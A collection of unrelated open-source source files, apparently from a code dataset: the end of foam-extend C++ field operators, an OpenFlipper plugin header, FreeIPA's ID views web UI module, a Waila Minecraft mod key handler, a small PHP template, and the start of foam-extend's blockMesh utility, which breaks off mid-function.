f1) \ } \ \ template<class Form, class Cmpt, int nCmpt, class Type> \ tmp<Field<typename product<Form, Type>::type> > \ operator Op(const VectorSpace<Form,Cmpt,nCmpt>& vs, const UList<Type>& f1) \ { \ typedef typename product<Form, Type>::type productType; \ tmp<Field<productType> > tRes(new Field<productType>(f1.size())); \ OpFunc(tRes(), static_cast<const Form&>(vs), f1); \ return tRes; \ } \ \ template<class Form, class Cmpt, int nCmpt, class Type> \ tmp<Field<typename product<Form, Type>::type> > \ operator Op \ ( \ const VectorSpace<Form,Cmpt,nCmpt>& vs, const tmp<Field<Type> >& tf1 \ ) \ { \ typedef typename product<Form, Type>::type productType; \ tmp<Field<productType> > tRes = reuseTmp<productType, Type>::New(tf1); \ OpFunc(tRes(), static_cast<const Form&>(vs), tf1()); \ reuseTmp<productType, Type>::clear(tf1); \ return tRes; \ } PRODUCT_OPERATOR(typeOfSum, +, add) PRODUCT_OPERATOR(typeOfSum, -, subtract) PRODUCT_OPERATOR(outerProduct, *, outer) PRODUCT_OPERATOR(crossProduct, ^, cross) PRODUCT_OPERATOR(innerProduct, &, dot) PRODUCT_OPERATOR(scalarProduct, &&, dotdot) #undef PRODUCT_OPERATOR // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // } // End namespace Foam // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #include "undefFieldFunctionsM.H" // ************************************************************************* //
Unofficial-Extend-Project-Mirror/foam-extend-foam-extend-3.2
src/foam/fields/Fields/Field/FieldFunctions.C
C++
gpl-3.0
25,129
/*===========================================================================*\ * * * OpenFlipper * * Copyright (C) 2001-2014 by Computer Graphics Group, RWTH Aachen * * www.openflipper.org * * * *--------------------------------------------------------------------------- * * This file is part of OpenFlipper. * * * * OpenFlipper is free software: you can redistribute it and/or modify * * it under the terms of the GNU Lesser General Public License as * * published by the Free Software Foundation, either version 3 of * * the License, or (at your option) any later version with the * * following exceptions: * * * * If other files instantiate templates or use macros * * or inline functions from this file, or you compile this file and * * link it with other files to produce an executable, this file does * * not by itself cause the resulting executable to be covered by the * * GNU Lesser General Public License. This exception does not however * * invalidate any other reasons why the executable file might be * * covered by the GNU Lesser General Public License. * * * * OpenFlipper is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU Lesser General Public License for more details. * * * * You should have received a copy of the GNU LesserGeneral Public * * License along with OpenFlipper. If not, * * see <http://www.gnu.org/licenses/>. * * * \*===========================================================================*/ /*===========================================================================*\ * * * $Revision: 10274 $ * * $LastChangedBy: wilden $ * * $Date: 2010-11-24 17:49:09 +0100 (Wed, 24 Nov 2010) $ * * * \*===========================================================================*/ #ifndef FILESKLPLUGIN_HH #define FILESKLPLUGIN_HH #include <QObject> #include <QMenuBar> #include <OpenFlipper/common/Types.hh> #include <OpenFlipper/BasePlugin/BaseInterface.hh> #include <OpenFlipper/BasePlugin/FileInterface.hh> #include <OpenFlipper/BasePlugin/LoadSaveInterface.hh> #include <OpenFlipper/BasePlugin/LoggingInterface.hh> #include <OpenFlipper/BasePlugin/ScriptInterface.hh> #include <OpenFlipper/BasePlugin/INIInterface.hh> #include <ObjectTypes/Skeleton/Skeleton.hh> class FileSKLPlugin : public QObject, BaseInterface, FileInterface, LoadSaveInterface, LoggingInterface, ScriptInterface, INIInterface { Q_OBJECT Q_INTERFACES(FileInterface) Q_INTERFACES(LoadSaveInterface) Q_INTERFACES(LoggingInterface) Q_INTERFACES(BaseInterface) Q_INTERFACES(ScriptInterface) Q_INTERFACES(INIInterface) #if QT_VERSION >= 0x050000 Q_PLUGIN_METADATA(IID "org.OpenFlipper.Plugins.Plugin-FileSkeleton") #endif signals: void openedFile( int _id ); void addEmptyObject( DataType _type, int& _id); void load(QString _filename, DataType _type, int& _id); void save(int _id , QString _filename ); void log(Logtype _type, QString _message); void log(QString _message); private slots: void fileOpened( int /*_id*/ ){}; void loadIniFile( INIFile& _ini ,int _id ); void saveIniFile( INIFile& _ini ,int _id); void noguiSupported( ) {} ; void initializePlugin(); public : ~FileSKLPlugin() {}; QString name() { return (QString("FileSKL")); }; QString description( ) { return (QString("Load/Save Skeletons")); }; DataType supportedType(); QString getSaveFilters(); QString getLoadFilters(); QWidget* saveOptionsWidget(QString /*_currentFilter*/) { return 0; }; QWidget* loadOptionsWidget(QString /*_currentFilter*/) { return 0; }; public slots: int loadObject(QString _filename); bool saveObject(int _id, QString _filename); private : template<typename Skeleton> bool LoadSkeleton(Skeleton *_pSkeleton, QString _filename); template<typename Skeleton> bool SaveSkeleton(Skeleton *_pSkeleton, QString _filename); }; #endif //FILESKLPLUGIN_HH
heartvalve/OpenFlipper
PluginCollection-FilePlugins/Plugin-FileSKL/FileSkeleton.hh
C++
gpl-3.0
5,349
/* * Authors: * Petr Vobornik <pvoborni@redhat.com> * * Copyright (C) 2014 Red Hat * see file 'COPYING' for use and warranty information * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ define([ 'dojo/on', './ipa', './builder', './jquery', './menu', './phases', './reg', './rpc', './text', './details', './facet', './search', './entity'], function(on, IPA, builder, $, menu, phases, reg, rpc, text, mod_details, mod_facet) { /** * ID Views module * @class * @singleton */ var idviews = IPA.idviews = { DEFAULT_TRUST_VIEW: 'Default Trust View' }; var make_spec = function() { return { name: 'idview', enable_test: function() { return true; }, facet_groups: [ { name: 'overrides', label: '@i18n:objects.idview.overrides_tab' }, { name: 'appliedto', label: '@i18n:objects.idview.appliesto_tab' }, 'settings' ], facets: [ { $type: 'search', columns: [ 'cn', 'description' ], actions: [ 'idview_unapply_host', 'idview_unapply_hostgroups' ], control_buttons: [ { name: 'idview_unapply_host', label: '@i18n:objects.idview.unapply_hosts_all', icon: 'fa-trash-o' }, { name: 'idview_unapply_hostgroups', label: '@i18n:objects.idview.unapply_hostgroups', icon: 'fa-trash-o' } ] }, { $type: 'details', header: idviews.idview_facet_header, actions: [ 'delete' ], header_actions: ['delete'], state: { }, sections: [ { name: 'details', fields: [ 'cn', { name: 'ipadomainresolutionorder', flags: ['w_if_no_aci'], tooltip: '@mc-opt:idview_mod:ipadomainresolutionorder:doc' }, { $type: 'textarea', name: 'description' } ] } ] }, { $type: 'nested_search', facet_group: 'overrides', header: idviews.idview_facet_header, nested_entity: 'idoverrideuser', search_all_entries: true, label: '@mo:idoverrideuser.label', tab_label: '@mo:user.label', name: 'idoverrideuser', columns: [ { name: 'ipaanchoruuid', label: '@i18n:objects.idoverrideuser.anchor_label' }, 'uid', 'uidnumber', 'homedirectory', 'description' ] }, { $type: 'nested_search', facet_group: 'overrides', header: idviews.idview_facet_header, nested_entity: 'idoverridegroup', search_all_entries: true, label: '@mo:idoverridegroup.label', tab_label: '@mo:group.label', name: 'idoverridegroup', columns: [ { name: 'ipaanchoruuid', label: '@i18n:objects.idoverridegroup.anchor_label' }, 'cn', 'gidnumber', 'description' ] }, { $type: 'idview_appliedtohosts', name: 'appliedtohosts', attribute: 'appliedtohosts', tab_label: '@mo:host.label', facet_group: 'appliedto', actions: [ 'idview_apply', 'idview_apply_hostgroups', 'idview_unapply', 'idview_unapply_hostgroups' ], control_buttons: [ { name: 'idview_unapply', label: '@i18n:objects.idview.unapply_hosts', icon: 'fa-trash-o' }, { name: 'idview_unapply_hostgroups', label: '@i18n:objects.idview.unapply_hostgroups', icon: 'fa-trash-o' }, { name: 'idview_apply', label: '@i18n:objects.idview.apply_hosts', icon: 'fa-plus' }, { name: 'idview_apply_hostgroups', label: '@i18n:objects.idview.apply_hostgroups', icon: 'fa-plus' } ], columns: [ { name: 'appliedtohosts', label: '@mo:host.label_singular', link: true, target_entity: 'host', target_facet: 'details' } ], state: { evaluators: [ { $factory: mod_details.value_state_evaluator, attribute: 'cn', value: idviews.DEFAULT_TRUST_VIEW, representation: 'cn_default_trust_view' } ] } } ], adder_dialog: { fields: [ 'cn', { $type: 'textarea', name: 'description' } ] } };}; var make_idoverrideuser_spec = function() { return { name: 'idoverrideuser', enable_test: function() { return true; }, policies:[ { $factory: IPA.facet_update_policy, source_facet: 'details', dest_entity: 'idview', dest_facet: 'idoverrideuser' }, { $factory: IPA.cert.cert_update_policy, source_facet: 'details', dest_entity: 'cert', dest_facet: 'search' } ], containing_entity: 'idview', facets: [ { $factory: idviews.id_override_user_details_facet, $type: 'details', disable_breadcrumb: false, containing_facet: 'idoverrideuser', actions: [ 'delete' ], header_actions: ['delete'], state: { }, sections: [ { name: 'details', fields: [ { $type: 'link', name: 'ipaanchoruuid', label: '@i18n:objects.idoverrideuser.anchor_label', other_entity: 'user' }, { $type: 'textarea', name: 'description' }, 'uid', 'gecos', 'uidnumber', 'gidnumber', 'loginshell', 'homedirectory', { $type: 'sshkeys', name: 'ipasshpubkey', label: '@i18n:objects.sshkeystore.keys' }, { $type: 'idviews_certs', name: 'usercertificate', label: '@i18n:objects.cert.certificates' } ] } ] } ], adder_dialog: { policies: [ { $factory: idviews.idoverride_adder_policy } ], fields: [ { $type: 'entity_select', label: '@i18n:objects.idoverrideuser.anchor_label', name: 'ipaanchoruuid', other_entity: 'user', other_field: 'uid', editable: true, tooltip: '@i18n:objects.idoverrideuser.anchor_tooltip' }, { label: '@i18n:objects.idoverrideuser.anchor_label', name: 'ipaanchoruuid_default', param: 'ipaanchoruuid', tooltip: '@i18n:objects.idoverrideuser.anchor_tooltip_ad', visible: false, enabled: false }, 'uid', 'gecos', 'uidnumber', 'gidnumber', { $type: 'cert_textarea', name: 'usercertificate' }, 'loginshell', 'homedirectory', { $type: 'textarea', name: 'description' } ] } };}; var make_idoverridegroup_spec = function() { return { name: 'idoverridegroup', enable_test: function() { return true; }, policies:[ { $factory: IPA.facet_update_policy, source_facet: 'details', dest_entity: 'idview', dest_facet: 'idoverridegroup' } ], containing_entity: 'idview', facets: [ { $type: 'details', disable_breadcrumb: false, containing_facet: 'idoverridegroup', actions: [ 'delete' ], header_actions: ['delete'], state: { }, sections: [ { name: 'details', fields: [ { $type: 'link', name: 'ipaanchoruuid', label: '@i18n:objects.idoverridegroup.anchor_label', other_entity: 'group' }, { $type: 'textarea', name: 'description' }, 'cn', 'gidnumber' ] } ] } ], adder_dialog: { policies: [ { $factory: idviews.idoverride_adder_policy } ], fields: [ { $type: 'entity_select', label: '@i18n:objects.idoverridegroup.anchor_label', name: 'ipaanchoruuid', other_entity: 'group', other_field: 'cn', editable: true, tooltip: '@i18n:objects.idoverridegroup.anchor_tooltip' }, { label: '@i18n:objects.idoverridegroup.anchor_label', name: 'ipaanchoruuid_default', param: 'ipaanchoruuid', tooltip: '@i18n:objects.idoverridegroup.anchor_tooltip_ad', visible: false, enabled: false }, 'cn', 'gidnumber', { $type: 'textarea', name: 'description' } ] } };}; /** * Facet for User ID override, uses batch command to fetch certificates. * * @class * @extends IPA.details_facet */ idviews.id_override_user_details_facet = function(spec) { spec = spec || {}; var that = IPA.details_facet(spec); that.certificate_updated = IPA.observer(); that.create_refresh_command = function() { var user_command = that.details_facet_create_refresh_command(); var batch = rpc.batch_command({ name: that.entity.name + "_details_refresh" }); batch.add_command(user_command); var pkey = that.get_pkey(); var certs = rpc.command({ entity: 'cert', method: 'find', retry: false, options: { idoverrideuser: [ pkey ], sizelimit: 0, all: true } }); batch.add_command(certs); return batch; }; return that; }; idviews.aduser_idoverrideuser_pre_op = function(spec, context) { spec = spec || []; if (!IPA.is_aduser_selfservice) return spec; var facet = spec.facets[0]; facet.label = '@i18n:objects.idoverrideuser.profile'; facet.actions = []; facet.header_actions = []; facet.disable_breadcrumb = true; return spec; }; /** * @extends IPA.cert.certs_widget */ idviews.idviews_certs_widget = function(spec) { spec = spec || {}; spec.child_spec = { $factory: idviews.idviews_cert_widget, css_class: 'certificate-widget', facet: spec.facet }; var that = IPA.cert.certs_widget(spec); /* Adds two args to add command - special nested entities. */ that.create_add_args = function() { return that.facet.get_pkeys(); }; /* Adds two args to remove command - special nested entities. */ that.create_remove_args = function() { return that.facet.get_pkeys(); }; return that; }; /** * This widget uses cert_find instead of cert_show, because cert_show does not * support nested entities. * * @extends IPA.cert.cert_widget */ idviews.idviews_cert_widget = function(spec) { spec = spec || {}; var that = IPA.cert.cert_widget(spec); that.adapter = builder.build('adapter', spec.adapter || 'object_adapter', {}); that.fetch_certificate_data = function(cert) { var result = {}; var adapter = that.adapter; if (!cert) return; var command = rpc.command({ entity: 'cert', method: 'find', options: { certificate: cert, all: true }, hide_activity_icon: true, on_success: function(data) { var normalized_data = adapter.load(data); that.certificate = $.extend(normalized_data[0], {}); that.update_displayed_data(); that.spinner.emit('hide-spinner'); }, on_error: function() { that.update_displayed_data(); that.spinner.emit('hide-spinner'); } }).execute(); }; that.update = function(values) { that.spinner.emit('display-spinner'); var certificate = values[0]; that.fetch_certificate_data(certificate); }; that.save = function() { if (!that.certificate) return ''; return that.certificate.certificate; }; return that; }; idviews.cert_textarea_widget = function(spec) { spec = spec || {}; var that = IPA.textarea_widget(spec); that.save = function() { var value = that.input.val(); var blob = IPA.cert.get_base64(value); return [blob]; }; return that; }; /** * Facet for hosts which have current id view applied on * * @class idviews.appliedtohosts_facet * @extends IPA.attribute_facet */ idviews.appliedtohosts_facet = function(spec, no_init) { spec = spec || {}; var that = IPA.attribute_facet(spec, no_init); /** * @inheritDoc */ that.get_refresh_command = function() { var command = that.attribute_get_refresh_command(); command.set_option('show_hosts', true); return command; }; return that; }; idviews.idview_facet_header = function(spec) { var that = mod_facet.facet_header(spec); /** * Set pkeys and hides 'appliedtohosts' facet for 'Default Trust View' * @param {string} value pkey */ that.set_pkey = function(value) { that.facet_header_set_pkey(value); var display = value === idviews.DEFAULT_TRUST_VIEW ? 'none' : ''; $('.facet-group[name="appliedto"]', that.facet_tabs). css('display', display); }; return that; }; /** * Switches between combobox and textbox for ipaanchoruuid, depending on if * current view is Default Trust View * @class idviews.idoverride_adder_policy * @extends IPA.facet_policy */ idviews.idoverride_adder_policy = function (spec) { var that = IPA.facet_policy(spec); that.init = function() { on(that.container, 'open', that.on_open); }; that.on_open = function() { var d = that.container; // dialog var default_view = d.pkey_prefix.slice(-1)[0] === idviews.DEFAULT_TRUST_VIEW; var f1 = d.fields.get_field('ipaanchoruuid'); var f2 = d.fields.get_field('ipaanchoruuid_default'); f1.set_enabled(!default_view); f1.widget.set_visible(!default_view); f2.set_enabled(default_view); f2.widget.set_visible(default_view); }; return that; }; /** * Apply Id view on hosts on hostgroup action base class * * @class idviews.apply_action * @extends IPA.action */ idviews.apply_action = function(spec) { spec = spec || {}; spec.name = spec.name || 'idview_apply'; spec.label = spec.label || '@i18n:objects.idview.apply_hosts'; spec.hide_cond = spec.hide_cond || ['cn_default_trust_view']; var that = IPA.action(spec); /** * Confirm button label * @property {string} */ that.confirm_button_label = spec.confirm_button_label || '@i18n:buttons.apply'; /** * Entity to apply * @property {entity.entity|string} */ that.other_entity = spec.other_entity || 'host'; /** * Dialog title * @property {string} */ that.dialog_title = spec.dialog_title || '@i18n:objects.idview.apply_hosts_title'; /** * Method * @property {string} */ that.method = spec.method || 'apply'; /** * Success message * @property {string} */ that.success_msg = spec.success_msg || '@i18n:association.added'; /** * @inheritDoc */ that.execute_action = function(facet, on_success, on_error) { that.show_dialog(facet); }; /** * Create and open dialog */ that.show_dialog = function(facet) { var pkey = facet.get_pkey(); var other_entity = reg.entity.get(that.other_entity); var other_entity_label = other_entity.metadata.label; var exclude = that.get_exclude(facet); var title = text.get(that.dialog_title); title = title.replace('${entity}', other_entity_label); title = title.replace('${primary_key}', pkey); var dialog = IPA.association_adder_dialog({ title: title, entity: facet.entity, pkey: pkey, other_entity: other_entity, attribute_member: that.attribute_member, exclude: exclude, add_button_label: that.confirm_button_label }); dialog.execute = function() { var values = dialog.get_selected_values(); var command = that.get_command( facet, values, function(data) { that.notify_change(facet); dialog.close(); var succeeded = IPA.get_succeeded(data); var msg = text.get(that.success_msg).replace('${count}', succeeded); IPA.notify_success(msg); }, function() { that.notify_change(facet); dialog.close(); }); command.execute(); return command; }; dialog.open(); }; /** * Construct action command */ that.get_command = function(facet, values, on_success, on_error) { var other_entity = reg.entity.get(that.other_entity); var pkey = facet.get_pkey(); var args = pkey ? [pkey] : []; var command = rpc.command({ entity: 'idview', method: that.method, args: args, options: {}, on_success: on_success, on_error: on_error }); command.set_option(other_entity.name, values); return command; }; /** * Get pkeys which should be excluded from offered pkeys in the dialog * * By default it works only for 'host' of 'appliedtohosts' facet since * other facets might contain completely different values or might have * different API. * * @param {facet.facet} facet * @return {string[]} */ that.get_exclude = function(facet) { if (facet && facet.name === 'appliedtohosts' && that.other_entity === 'host') { var records = facet.get_records_map(facet.data); return records.keys; } return []; }; /** * Notify idview.appliedtohosts facet that there were possible changes * and a refresh is needed. */ that.notify_change = function(current_facet) { if (current_facet && current_facet.name === 'appliedtohosts') { current_facet.refresh(); } else { reg.entity.get('idview'). get_facet('appliedtohosts'). set_expired_flag(); } }; that.apply_action_get_command = that.get_command; return that; }; /** * Apply Id view on hosts of a hostgroup * * @class idviews.apply_hostgroup_action * @extends idviews.apply_action */ idviews.apply_hostgroups_action = function(spec) { spec = spec || {}; spec.name = spec.name || 'idview_apply_hostgroups'; spec.label = spec.label || '@i18n:objects.idview.apply_hostgroups'; spec.other_entity = spec.other_entity || 'hostgroup'; spec.dialog_title = spec.dialog_title || '@i18n:objects.idview.apply_hostgroups_title'; var that = idviews.apply_action(spec); return that; }; /** * Unapply Id view from hosts * * @class idviews.unapply_host_action * @extends idviews.apply_action */ idviews.unapply_host_action = function(spec) { spec = spec || {}; spec.name = spec.name || 'idview_unapply_host'; spec.label = spec.label || '@i18n:objects.idview.unapply_hosts_all'; spec.other_entity = spec.other_entity || 'host'; spec.method = spec.method || 'unapply'; spec.dialog_title = spec.dialog_title || '@i18n:objects.idview.unapply_hosts_all_title'; spec.confirm_button_label = spec.confirm_button_label || '@i18n:buttons.unapply'; spec.success_msg = spec.success_msg || '@i18n:association.removed'; var that = idviews.apply_action(spec); /** * @inheritDoc */ that.get_command = function(facet, values, on_success, on_error) { var command = that.apply_action_get_command(facet, values, on_success, on_error); // idview_unapply doesn't support primary keys to narrow down idviews // to un-apply yet command.args = []; return command; }; return that; }; /** * Unapply Id view from all hosts of a hostgroup * * @class idviews.unapply_hostgroups_action * @extends idviews.unapply_host_action */ idviews.unapply_hostgroups_action = function(spec) { spec = spec || {}; spec.name = spec.name || 'idview_unapply_hostgroups'; spec.label = spec.label || '@i18n:objects.idview.unapply_hostgroups'; spec.other_entity = spec.other_entity || 'hostgroup'; spec.dialog_title = spec.dialog_title || '@i18n:objects.idview.unapply_hostgroups_all_title'; var that = idviews.unapply_host_action(spec); return that; }; /** * Unapply Id view from selected hosts * * @class idviews.unapply_action * @extends idviews.unapply_host_action */ idviews.unapply_action = function(spec) { spec = spec || {}; spec.name = spec.name || 'idview_unapply'; spec.label = spec.label || '@i18n:objects.idview.unapply_hosts'; spec.enable_cond = spec.enable_cond || ['item-selected']; spec.enabled = spec.enabled === undefined ? false : spec.enabled; spec.confirm_button_label = spec.confirm_button_label || '@i18n:buttons.unapply'; spec.method = spec.method || 'unapply'; spec.dialog_title = spec.dialog_title || '@i18n:objects.idview.unapply_hosts_title'; var that = idviews.unapply_host_action(spec); /** * @inheritDoc */ that.show_dialog = function(facet, current_pkeys) { var selected_values = facet.get_selected_values(); if (!selected_values.length) { var message = text.get('@i18n:dialogs.remove_empty'); IPA.notify(message, 'error'); return; } var pkey = facet.get_pkey(); var other_entity = reg.entity.get('host'); var title = text.get(that.dialog_title); title = title.replace('${primary_key}', pkey); var dialog = IPA.association_deleter_dialog({ title: title, entity: facet.entity, pkey: pkey, other_entity: other_entity, values: selected_values, method: that.method, ok_label: that.confirm_button_label, message: '@i18n:objects.idview.unapply_hosts_confirm' }); dialog.execute = function() { var command = that.get_command( facet, selected_values, function(data) { that.notify_change(facet); var succeeded = IPA.get_succeeded(data); var msg = text.get('@i18n:association.removed').replace('${count}', succeeded); IPA.notify_success(msg); }, function() { that.notify_change(facet); } ); command.execute(); }; dialog.open(); }; return that; }; /** * ID View entity specification object * @member idviews */ idviews.spec = make_spec(); /** * ID user override entity specification object * @member idviews */ idviews.idoverrideuser_spec = make_idoverrideuser_spec(); /** * ID group override entity specification object * @member idviews */ idviews.idoverridegroup_spec = make_idoverridegroup_spec(); /** * Register entity * @member idviews */ idviews.register = function() { var e = reg.entity; var f = reg.facet; var a = reg.action; var w = reg.widget; e.register({type: 'idview', spec: idviews.spec}); e.register({ type: 'idoverrideuser', spec: idviews.idoverrideuser_spec, pre_ops: [idviews.aduser_idoverrideuser_pre_op] }); e.register({type: 'idoverridegroup', spec: idviews.idoverridegroup_spec}); f.copy('attribute', 'idview_appliedtohosts', { factory: idviews.appliedtohosts_facet }); a.register('idview_apply', idviews.apply_action); a.register('idview_apply_hostgroups', idviews.apply_hostgroups_action); a.register('idview_unapply', idviews.unapply_action); a.register('idview_unapply_host', idviews.unapply_host_action); a.register('idview_unapply_hostgroups', idviews.unapply_hostgroups_action); w.register('idviews_certs', idviews.idviews_certs_widget); w.register('cert_textarea', idviews.cert_textarea_widget); }; phases.on('registration', idviews.register); return idviews; });
apophys/freeipa
install/ui/src/freeipa/idviews.js
JavaScript
gpl-3.0
28,221
package mcp.mobius.waila.client; import cpw.mods.fml.client.registry.ClientRegistry; import cpw.mods.fml.common.Loader; import cpw.mods.fml.common.eventhandler.SubscribeEvent; import cpw.mods.fml.common.gameevent.InputEvent; import mcp.mobius.waila.api.impl.ConfigHandler; import mcp.mobius.waila.utils.Constants; import net.minecraft.client.Minecraft; import net.minecraft.client.settings.KeyBinding; import org.lwjgl.input.Keyboard; /** * Created by Dennisbonke on 27-1-2015. */ public class KeyEvent { public static KeyBinding key_cfg; public static KeyBinding key_show; public static KeyBinding key_liquid; public static KeyBinding key_recipe; public static KeyBinding key_usage; @SubscribeEvent public void onKeyEvent(InputEvent.KeyInputEvent event) { int key = Keyboard.getEventKey(); Minecraft mc = Minecraft.func_71410_x(); if (Keyboard.getEventKeyState()) { if (key == key_cfg.func_151463_i()) { if (mc.field_71462_r == null) { mc.func_147108_a(new ScreenConfig(mc.field_71462_r)); } } else if ((key == key_show.func_151463_i()) && (ConfigHandler.instance().getConfig("general", Constants.CFG_WAILA_MODE, false))) { boolean status = ConfigHandler.instance().getConfig("general", Constants.CFG_WAILA_SHOW, true); ConfigHandler.instance().setConfig("general", Constants.CFG_WAILA_SHOW, !status); } else if ((key == key_show.func_151463_i()) && (!ConfigHandler.instance().getConfig("general", Constants.CFG_WAILA_MODE, false))) { ConfigHandler.instance().setConfig("general", Constants.CFG_WAILA_SHOW, true); } else if (key == key_liquid.func_151463_i()) { boolean status = ConfigHandler.instance().getConfig("general", Constants.CFG_WAILA_LIQUID, true); ConfigHandler.instance().setConfig("general", Constants.CFG_WAILA_LIQUID, !status); } else if (key == key_recipe.func_151463_i()) { if (Loader.isModLoaded("NotEnoughItems")) { try { Class.forName("mcp.mobius.waila.handlers.nei.NEIHandler").getDeclaredMethod("openRecipeGUI", new Class[] { Boolean.TYPE }).invoke(null, new Object[] { Boolean.valueOf(true) }); } catch (Exception e) {} } } else if ((key == key_usage.func_151463_i()) && (Loader.isModLoaded("NotEnoughItems"))) { try { Class.forName("mcp.mobius.waila.handlers.nei.NEIHandler").getDeclaredMethod("openRecipeGUI", new Class[] { Boolean.TYPE }).invoke(null, new Object[] { Boolean.valueOf(false) }); } catch (Exception e) {} } } } public KeyEvent() { key_cfg = new KeyBinding(Constants.BIND_WAILA_CFG, 82, "Waila"); key_show = new KeyBinding(Constants.BIND_WAILA_SHOW, 79, "Waila"); key_liquid = new KeyBinding(Constants.BIND_WAILA_LIQUID, 80, "Waila"); key_recipe = new KeyBinding(Constants.BIND_WAILA_RECIPE, 81, "Waila"); key_usage = new KeyBinding(Constants.BIND_WAILA_USAGE, 75, "Waila"); ClientRegistry.registerKeyBinding(key_cfg); ClientRegistry.registerKeyBinding(key_show); ClientRegistry.registerKeyBinding(key_liquid); ClientRegistry.registerKeyBinding(key_recipe); ClientRegistry.registerKeyBinding(key_usage); } }
Dennisbonke/WAILA
src/main/java/mcp/mobius/waila/client/KeyEvent.java
Java
gpl-3.0
3,706
<?php defined( 'WPINC' ) || die; ?> <div id="submitpost" class="submitbox"> <div id="major-publishing-actions"> <div id="delete-action"><a href="<?= $reset_url; ?>" class="submitdelete deletion"><?= $reset; ?></a></div> <div id="publishing-action"><span class="spinner"></span><?= $submit; ?></div> <div class="clear"></div> </div> </div>
geminilabs/pollux
views/settings/submit.php
PHP
gpl-3.0
348
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | foam-extend: Open Source CFD \\ / O peration | Version: 3.2 \\ / A nd | Web: http://www.foam-extend.org \\/ M anipulation | For copyright notice see file Copyright ------------------------------------------------------------------------------- License This file is part of foam-extend. foam-extend is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. foam-extend is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with foam-extend. If not, see <http://www.gnu.org/licenses/>. Application blockMesh Description A multi-block mesh generator. Uses the block mesh description found in \a constant/polyMesh/blockMeshDict (or \a constant/\<region\>/polyMesh/blockMeshDict). Usage - blockMesh [OPTION] \param -blockTopology \n Write the topology as a set of edges in OBJ format. \param -region \<name\> \n Specify an alternative mesh region. \param -dict \<filename\> \n Specify alternative dictionary for the block mesh description. \*---------------------------------------------------------------------------*/ #include "objectRegistry.H" #include "foamTime.H" #include "IOdictionary.H" #include "IOPtrList.H" #include "blockMesh.H" #include "preservePatchTypes.H" #include "emptyPolyPatch.H" #include "cellSet.H" #include "argList.H" #include "OSspecific.H" #include "OFstream.H" #include "Pair.H" #include "mapPolyMesh.H" #include "polyTopoChanger.H" #include "slidingInterface.H" using namespace Foam; // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // // Main program: int main(int argc, char *argv[]) { argList::noParallel(); argList::validOptions.insert("blockTopology", ""); argList::validOptions.insert("dict", "dictionary"); # include "addRegionOption.H" # include "setRootCase.H" # include "createTime.H" const word dictName("blockMeshDict"); word regionName; fileName polyMeshDir; if (args.optionFound("region")) { // constant/<region>/polyMesh/blockMeshDict regionName = args.option("region"); polyMeshDir = regionName/polyMesh::meshSubDir; Info<< nl << "Generating mesh for region " << regionName << endl; } else { // constant/polyMesh/blockMeshDict regionName = polyMesh::defaultRegion; polyMeshDir = polyMesh::meshSubDir; } autoPtr<IOobject> meshDictIoPtr; if (args.optionFound("dict")) { fileName dictPath(args.option("dict")); meshDictIoPtr.set ( new IOobject ( ( isDir(dictPath) ? dictPath/dictName : dictPath ), runTime, IOobject::MUST_READ, IOobject::NO_WRITE, false ) ); } else { meshDictIoPtr.set ( new IOobject ( dictName, runTime.constant(), polyMeshDir, runTime, IOobject::MUST_READ, IOobject::NO_WRITE, false ) ); } if (!meshDictIoPtr->headerOk()) { FatalErrorIn(args.executable()) << "Cannot open mesh description file\n " << meshDictIoPtr->objectPath() << nl << exit(FatalError); } Info<< nl << "Creating block mesh from\n " << meshDictIoPtr->objectPath() << nl << endl; blockMesh::verbose(true); IOdictionary meshDict(meshDictIoPtr()); blockMesh blocks(meshDict, regionName); if (args.optionFound("blockTopology")) { // Write mesh as edges. { fileName objMeshFile("blockTopology.obj"); OFstream str(runTime.path()/objMeshFile); Info<< nl << "Dumping block structure as Lightwave obj format" << " to " << objMeshFile << endl; blocks.writeTopology(str); } // Write centres of blocks { fileName objCcFile("blockCentres.obj"); OFstream str(runTime.path()/objCcFile); Info<< nl << "Dumping block centres as Lightwave obj format" << " to " << objCcFile << endl; const polyMesh& topo = blocks.topology(); const pointField& cellCentres = topo.cellCentres(); forAll(cellCentres, cellI) { //point cc = b.blockShape().centre(b.points()); const point& cc = cellCentres[cellI]; str << "v " << cc.x() << ' ' << cc.y() << ' ' << cc.z() << nl; } } Info<< nl << "end" << endl; return 0; } Info<< nl << "Creating polyMesh from blockMesh" << endl; word defaultFacesName = "defaultFaces"; word defaultFacesType = emptyPolyPatch::typeName; polyMesh mesh ( IOobject ( regionName, runTime.constant(), runTime ), xferCopy(blocks.points()), // could we re-use space? blocks.cells(), blocks.patches(), blocks.patchNames(), blocks.patchDicts(), defaultFacesName, defaultFacesType ); // Read in a list of dictionaries for the merge patch pairs if (meshDict.found("mergePatchPairs")) { List<Pair<word> > mergePatchPairs ( meshDict.lookup("mergePatchPairs") ); # include "mergePatchPairs.H" } else { Info<< nl << "There are no merge patch pairs edges" << endl; } // Set any cellZones (note: cell labelling unaffected by above // mergePatchPairs) label nZones = blocks.numZonedBlocks(); if (nZones > 0) { Info<< nl << "Adding cell zones" << endl; // Map from zoneName to cellZone index HashTable<label> zoneMap(nZones); // Cells per zone. List<DynamicList<label> > zoneCells(nZones); // Running cell counter label cellI = 0; // Largest zone so far label freeZoneI = 0; forAll(blocks, blockI) { const block& b = blocks[blockI]; const labelListList& blockCells = b.cells(); const word& zoneName = b.blockDef().zoneName(); if (zoneName.size()) { HashTable<label>::const_iterator iter = zoneMap.find(zoneName); label zoneI; if (iter == zoneMap.end()) { zoneI = freeZoneI++; 